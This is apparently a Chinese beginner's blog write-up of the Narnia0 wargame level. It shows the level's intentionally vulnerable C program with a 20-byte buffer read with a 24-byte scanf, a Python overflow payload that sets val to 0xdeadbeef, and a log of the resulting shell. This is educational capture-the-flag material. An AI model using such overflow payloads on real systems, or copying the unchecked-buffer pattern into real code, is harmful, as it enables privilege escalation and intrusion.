Narnia0是一个入门级的pwn游戏,wargame提供了源码会让游戏变得更简单,以下是源码
#include <stdio.h> #include <stdlib.h> int main(){ long val=0x41414141; char buf[20]; printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n"); printf("Here is your chance: "); scanf("%24s",&buf); printf("buf: %s\n",buf); printf("val: 0x%08x\n",val); if(val==0xdeadbeef){ setreuid(geteuid(),geteuid()); system("/bin/sh"); } else { printf("WAY OFF!!!!\n"); exit(1); } return 0; }
buf是有20字节的空间,但是接收了24个字节,而多出来的数据只会再打印4字节,所以最终输入一共是24字节,所以需要写个Python脚本构造后面的4字节数据 ,Python脚本如下:
print "a"*20+"\xef\xbe\xad\xde"+"\x80"
注意,后面这个\x80是必须要加的,不然接收会少一个字节,这是最终的运行结果
gavin@gavin:~/warGame/narnia$ python narnia0.py [+] Starting local process './narnia0': pid 6054 [*] Switching to interactive mode Correct val's value from 0x41414141 -> 0xdeadbeef! Here is your chance: buf: aaaaaaaaaaaaaaaaaaaaᆳ val: 0xdeadbeef $
可惜的是wargame不允许Python脚本的直接攻击(至少我没想到方法),所以里面所有的输入全得手工完成
小结
wargame里的小游戏都很有趣,如果有对漏洞利用感兴趣的同学可以去玩玩,Google上有很多WP,只可惜百度搜不到,我会继续出这个系列的文章,以供和我一样的新手学习